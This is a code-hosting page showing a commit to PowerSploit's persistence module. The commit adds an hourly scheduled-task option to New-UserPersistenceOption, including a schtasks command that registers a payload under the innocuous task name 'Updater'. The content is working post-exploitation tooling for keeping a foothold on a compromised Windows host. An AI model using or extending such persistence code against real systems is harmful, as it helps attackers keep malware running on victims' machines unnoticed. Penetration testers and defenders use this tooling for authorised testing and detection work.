Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Added ScheduledTaskHourly to New-UserPersistenceOption

This commit is contained in:
pyllyukko 2016-04-25 17:44:24 +03:00
parent a6564f4483
commit 75a37a0f17
No known key found for this signature in database
GPG Key ID: 9C029134274620C5
1 changed files with 20 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
Persistence/Persistence.psm1
View File

@ -229,6 +229,10 @@ function New-UserPersistenceOption
Starts the payload daily. Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At .PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@ -248,6 +252,7 @@ function New-UserPersistenceOption
[CmdletBinding()] Param ( [CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch] [Switch]
$ScheduledTask, $ScheduledTask,
@ -260,6 +265,10 @@ function New-UserPersistenceOption
[Switch] [Switch]
$Daily, $Daily,
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime] [DateTime]
$At, $At,
@ -300,6 +309,12 @@ function New-UserPersistenceOption
$PersistenceOptionsTable['Time'] = $At $PersistenceOptionsTable['Time'] = $At
} }
'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}
'Registry' 'Registry'
{ {
$PersistenceOptionsTable['Method'] = 'Registry' $PersistenceOptionsTable['Method'] = 'Registry'
@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
} }
'Hourly'
{
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
}
'OnIdle' 'OnIdle'
{ {
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "